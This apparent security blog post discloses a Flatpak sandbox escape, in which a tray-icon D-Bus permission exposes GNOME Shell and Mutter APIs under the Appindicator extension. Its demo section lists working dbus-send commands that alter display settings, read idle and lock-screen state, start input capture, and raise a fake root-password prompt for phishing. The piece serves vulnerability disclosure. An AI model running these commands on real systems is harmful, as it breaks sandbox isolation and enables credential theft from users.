With this article, we are opening a whole new chapter of this blog: Security. Where an electronic microscope is placed over the sandbox ecosystem on Linux which exposes cracks beneath.

Background

Flatpak on their Desktop Integration site suggests adding --talk-name=org.kde.StatusNotifierWatcher to the permissions list for sandboxed applications to register a tray icon.

  • Which, translates to --talk=org.kde.StatusNotifierWatcher in terms of xdg-dbus-proxy option.
  • Allows sending any method calls and signals or receiving broadcast signals to the name/ID (man xdg-dbus-proxy)
  • Flatpak does not seem to have a way to control --call permissions. So we have the broad --talk permission instead.

Appindicator extension on the other hand, reuses GNOME Shell / Mutter’s connection to D-Bus, while publishing its own /StatusNotifierWatcher object path in addition to existing GNOME Shell object paths. This can be easily verified by busctl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
➜  ~ busctl --user tree org.kde.StatusNotifierWatcher --no-pager 
├─ /StatusNotifierWatcher
└─ /org
├─ /org/freedesktop
│ ├─ /org/freedesktop/Notifications
│ ├─ /org/freedesktop/a11y
│ │ └─ /org/freedesktop/a11y/Manager
│ └─ /org/freedesktop/portal
│ └─ /org/freedesktop/portal/desktop
├─ /org/gnome
│ ├─ /org/gnome/Mutter
│ │ ├─ /org/gnome/Mutter/ColorManager
│ │ ├─ /org/gnome/Mutter/DisplayConfig
│ │ ├─ /org/gnome/Mutter/IdleMonitor
│ │ │ └─ /org/gnome/Mutter/IdleMonitor/Core
│ │ ├─ /org/gnome/Mutter/InputCapture
│ │ ├─ /org/gnome/Mutter/InputMapping
│ │ ├─ /org/gnome/Mutter/RemoteDesktop
│ │ ├─ /org/gnome/Mutter/ScreenCast
│ │ ├─ /org/gnome/Mutter/ServiceChannel
│ │ └─ /org/gnome/Mutter/X11
│ ├─ /org/gnome/ScreenSaver
│ ├─ /org/gnome/SessionManager
│ │ └─ /org/gnome/SessionManager/EndSessionDialog
│ ├─ /org/gnome/Shell
│ │ ├─ /org/gnome/Shell/AudioDeviceSelection
│ │ ├─ /org/gnome/Shell/Brightness
│ │ ├─ /org/gnome/Shell/Introspect
│ │ ├─ /org/gnome/Shell/ScreenTime
│ │ ├─ /org/gnome/Shell/Screenshot
│ │ └─ /org/gnome/Shell/Wacom
│ ├─ /org/gnome/Sysprof3
│ │ └─ /org/gnome/Sysprof3/Profiler
│ └─ /org/gnome/keyring
│ └─ /org/gnome/keyring/Prompter
└─ /org/gtk
├─ /org/gtk/MountOperationHandler
└─ /org/gtk/Notifications

The entire GNOME Shell D-Bus API is completely exposed for any application that has “Desktop Integration” support for tray icons. And we can now do anything inside a sandbox which a native, unsandboxed process (e.g. gdctl) can do using Mutter / GNOME Shell APIs.

Now that we have basic facts ready, it’s time for exploit demonstration.

Note that Portable 15 has already patched this security vulnerability. Besides, the original bug report to upstream has been closed.

Demo time

Forward note: This exploit only works when you are running the Appindicator extension from Ubuntu on GNOME Shell.

First we need to spawn a Flatpak sandbox with the aforementioned --talk-name=org.kde.StatusNotifierWatcher permission and dbus-send command. I’m using org.kde.kdenlive here with permission override.

  1. Enter the sandbox: flatpak run --command='bash' org.kde.kdenlive
  2. Validate that dbus-send is available: dbus-send -h

Monitor configuration manipulation

  • Enable dimming: dbus-send --session --print-reply=literal --dest=org.kde.StatusNotifierWatcher --type=method_call /org/gnome/Shell/Brightness org.gnome.Shell.Brightness.SetDimming boolean:true
  • Display configuration manipulation (GetCurrentState shown here, but other methods, including ApplyConfiguration, ChangeBacklight, SetBacklight and etc. would also work): dbus-send --session --print-reply=literal --dest=org.kde.StatusNotifierWatcher --type=method_call /org/gnome/Mutter/DisplayConfig org.gnome.Mutter.DisplayConfig.GetCurrentState

Obtain user status and input

  • Obtain idle information: dbus-send --session --print-reply=literal --dest=org.kde.StatusNotifierWatcher --type=method_call /org/gnome/Mutter/IdleMonitor/Core org.gnome.Mutter.IdleMonitor.GetIdletime
  • Create an Input Capture session: dbus-send --session --print-reply=literal --dest=org.kde.StatusNotifierWatcher --type=method_call /org/gnome/Mutter/InputCapture org.gnome.Mutter.InputCapture.CreateSession uint32:15
  • Is the lock screen active: dbus-send --session --print-reply=literal --dest=org.kde.StatusNotifierWatcher --type=method_call /org/gnome/ScreenSaver org.gnome.ScreenSaver.GetActive

Phishing

  • Ask password via the GTK Mount Operation handler: dbus-send --session --dest org.kde.StatusNotifierWatcher --print-reply --type=method_call /org/gtk/MountOperationHandler org.Gtk.MountOperationHandler.AskPassword string:"objectID" string:"Authorization needed to secure data" string:"channel-secure-symbolic" string:"root" string:"root" uint32:0

Conclusion

As you can see, the list of actions is massive. There are still some interfaces and methods that I did not include (mainly display configuration and well being stuff) because the lack of documentation around those methods. But there is nothing stopping a committed person from doing something horribly nasty. Although Portable has patched this hole in v15, Flatpak remains vulnerable. The best course of action is to turn off such extension if needed.